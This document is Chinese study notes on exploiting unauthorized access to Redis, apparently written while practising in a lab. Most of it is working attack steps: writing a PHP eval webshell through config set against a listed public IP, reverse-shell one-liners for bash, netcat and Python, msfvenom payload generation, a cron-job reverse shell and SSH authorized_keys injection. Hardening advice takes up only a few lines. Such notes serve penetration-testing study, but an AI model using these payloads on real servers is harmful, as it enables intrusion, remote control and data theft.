Redis未授权访问漏洞的利用
内容为学习笔记,如有侵权,联系删除
Redis常见数据类型
Redis常见用途:做网站缓存,初期用来统计网站访问记录;以key键值和value存储
- String:字符和整型:缓存、分布式、session分布式、全局、ID计数器、限流
- Hash:哈希表:存储一个对象、存储一张表的数据、购物车
- List:有序数组:消息列表、文章列表、评论列表、公告列表、活动列表
- Set:无序集合:抽奖、点赞、签到打卡、商品标签
- ZSet:有序集合:排行榜
Redis优点
- 数据类型丰富,应用场景广泛
- 纯内存的数据结构,速度快
- 功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
Redis漏洞利用
漏洞成因
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
环境准备
官方没有把这个当作一个漏洞,而是作为一个配置不当处理
服务端设置:
- 注释bind,只能在本机访问:# bind 127.0.0.1
- 关闭保护模式,不然没有办法远程连接 :protected-mode no
- 默认不需要密码连接 :#requirepass
- root用户安装
- 端口6379
Redis持久化机制
主要是RDB机制(默认)
配置文件:redis.conf
save 3600 1 #自动触发规则配置
dbfilename dump.rdb #保存文件名配置
dir ./ #存储路径配置
另有AOF机制
动态修改配置
config set:动态修改配置,重启以后失效
- 修改保存路径:config set dir /www/admin/localhost_80/wwwroot
- 修改保存的文件名:config set dbfilename redis.php
写入shell
redis-cli -h 139.9.139.235 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[1]); ?>"
save
反弹连接
出现以下情况时使用反弹连接方法
1、内网,私有IP
2、IP动态变化
3、6379端口不允许入方向
4、一句话木马被杀软删除
常见的端口监听方式
-
netcat:nc-lvp 7777(监听7777端口并给出详细的输出)
-
msf:msfconsole(启动交互界面)
use exploit/multi/handler(使用监听模块)
set payload php/meterpreter/reverse_tcp(使用php的反弹连接)
set lhost 192.168.142.141(本机ip)
set lport 7777(监听7777端口)
run(运行)
-
socat(kali可用):socat TCP-LISTEN:7777 -
建立反弹链接
类型 | 命令 |
---|---|
Linux bash | bash -i >& /dev/tcp/192.168.25.131/7777 0>&1 |
netcat | nc -e /bin/bash 192.168.142.44 7777 |
Python | python -c “importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.142.44’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’ , ‘-i’]);” |
标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
例:
netstat -an|grep 3306 >out.txt // 输出到文件
find / -name “test.py” 2>/dev/null // 过滤报错
命令释义:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1:打开一个交互式的bash终端,与远程机器建立一个socket连接将标准错误输出合并到标准输出中,将标准输入重定向到标准输出中
msf
配合msf模块使用
类型 | 命令 |
---|---|
msf-PHP | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -o shell.php |
msf-Java | msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f war -o shell.war msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f jar -o shell.jar |
msf-exe | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -i 5 -f exe -o test.exe |
定时任务
用途
执行周期性固定时刻的任务
cron表达式
时间表达式,有在线网站生成
命令 | 操作 |
---|---|
crontab -u root -r | 删除某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
文件存储路径:
路径 | 内容 |
---|---|
/var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
/etc/crontab | 放的是对应周期的任务dalily、hourly 、monthly、weekly |
redis使用定时任务建立反弹连接
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
ssh免密登录
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功
“你之前保存了我的公钥,所以可以解密我的消息,所以认得我”
在攻击机:
ssh-keygen //生成密钥对,直接回车密码不需要
//会在根目录生成.ssh文件,里面有ia_rsa和id_rsa.pub两个文件,前者是私钥,需要自己保存,公钥交给靶机
ssh-copy-id root@192.168.25.132 //以root用户登录并将公钥发给靶机
//需要输入root密码
ssh -i ./id_rsa root@192.168.25.132 //ssh免密登录
使用redis,连接目标redis后:
flushall //清空数据
config set dir /root/.ssh //修改文件存储路径
config set dbfilename authorized_keys //修改存储的文件名
set xxx "\n\n\n公钥字符串\n\n\n" //写入公钥字符
save //保存
Redis等保安全加固
- 限制访问IP
- 修改默认端口
- 密码访问
- 低权限运行
一些命令
redis:
-
数据清空:flushall
-
保存数据:save
-
写入:set webshell “<?php @eval($_POST[1]);?>”
linux:
-
查看防火墙状态:systemctl status firewalld
-
关闭防火墙:systemctl stop firewalld
systemctl disable firewalld.service
-
启动Redis服务:/usr/local/soft/redis-6.0.9/src/redis-server /usr/local/soft/redis-6.0.9/redis.conf
-
关闭服务:redis-cli shutdown
-
攻击机连接:redis-cli -h 192.168.129.44 -p 6379
-
查看端口是否启动成功:netstat -an|grep 6379
-
进入客户端:/usr/local/soft/redis-6.0.9/src/redis-cli
类似的
- MongoDB未授权访问漏洞
- Jenkins未授权访问漏洞
- Memcached未授权访问漏洞
- JBOSS未授权访问漏洞
- VNC未授权访问漏洞
- Docker未授权访问漏洞
- ZooKeeper未授权访问漏洞
- Rsync未授权访问漏洞
- Atlassian Crowd未授权访问漏洞
- CouchDB未授权访问漏洞
- Elasticsearch未授权访问漏洞
- Hadoop未授权访问漏洞
- Jupyter Notebook未授权访问漏洞
配置别名
直接vim ~/.bashrc,然后在里面就可以配置别名等信息
配置完成后source ~/.bashrc编译让其生效,然后重启才能生效
# .bashrc
# User specific aliases and functions
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias rcli='/usr/local/soft/redis-6.2.9/src/redis-cli'
alias sedis='/usr/local/soft/redis-6.2.9/src/redis-server /usr/local/soft/redis-6.2.9/redis.conf'
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
~